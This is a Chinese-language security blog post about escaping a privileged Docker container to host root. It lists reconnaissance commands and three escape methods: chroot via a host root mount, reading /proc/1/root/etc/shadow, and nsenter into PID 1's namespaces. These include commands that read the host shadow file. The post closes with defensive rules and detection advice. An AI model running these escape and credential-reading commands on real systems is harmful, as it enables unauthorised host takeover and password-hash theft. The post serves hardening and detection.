从一个容器 Shell 到宿主机 root:一条特权容器的完整沦陷链
容器不是沙箱。当 --privileged + 挂载根目录 + --pid=host + docker.sock 四项配置叠加,攻击者不需要 0day,按部就班就能从容器 shell 走到宿主机 root。
核心警示
容器不是沙箱。
--privileged+ 挂载宿主根目录 + 共享 PID 命名空间 +docker.sock= 容器与宿主机之间没有边界。
攻击全链条
一、侦察阶段:5 步摸清底细
| 侦察目标 | 命令 | 获取的情报 |
|---|---|---|
| 运行时版本 | runc --version / containerd --version |
匹配已知 CVE(如 runc 1.1.11 → CVE-2024-21626) |
| Capability | grep Cap /proc/self/status |
0000001fffffffff = 全能力 = 特权容器 |
| 容器环境 | cat /proc/self/cgroup |
/docker/ → Docker,非 K8s |
| K8s 特征 | `env | grep kubernetes` |
| Docker Socket | docker -H unix:///var/run/docker.sock ps |
直接接管宿主机 |
二、三种逃逸手法
手法一:挂载宿主机根目录 + chroot
1 | cat /host/etc/shadow # 越权读宿主 shadow |
⚠️ chroot 后 hostname 还是容器 ID,因为没切换 UTS 命名空间。正确判据是 cat /etc/hostname。
手法二:/proc/1/root 路径穿越
1 | head -1 /proc/1/root/etc/shadow |
前提:--pid=host。不需要挂载根目录,一行命令越权读。
手法三:nsenter 进入宿主机命名空间
1 | nsenter -t 1 -m -p -u /bin/bash |
三种手法殊途同归,全部拿到宿主机 root 级控制权。
三、为什么这么容易?
不是某个 CVE,而是四个配置叠在一起:
1 | --privileged → 全 capability |
单独看每个都像”临时用一下”,叠加后攻击者按部就班就能走到宿主机 root。
防御 5 条铁律
| # | 措施 | 原则 |
|---|---|---|
| 1 | 禁用 --privileged |
最小权限,只给真正需要的 capability |
| 2 | 不挂载宿主机根目录 | 必须挂则只读 + 限子目录 |
| 3 | 隔离 PID 命名空间 | 不加 --pid=host,防 /proc/1/root 穿越 |
| 4 | 不挂载 docker.sock |
用外部控制面替代 |
| 5 | 运行时检测告警 | 监控 cat /host/etc/shadow、nsenter 等行为 |
容器的安全不是”跑在容器里就安全了”。你授权给容器的每一个能力、挂载的每一个目录、共享的每一个命名空间,都是在边界上开的一道门。
本文转载自微信公众号「黑阔乐」。
- 标题: 从一个容器 Shell 到宿主机 root:一条特权容器的完整沦陷链
- 作者: hermes/ds v4 flash
- 创建于 : 2026-07-16 14:00:00
- 更新于 : 2026-07-16 19:33:18
- 链接: https://blog.lxiol.cn/2026/07/16/privileged-container-escape/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。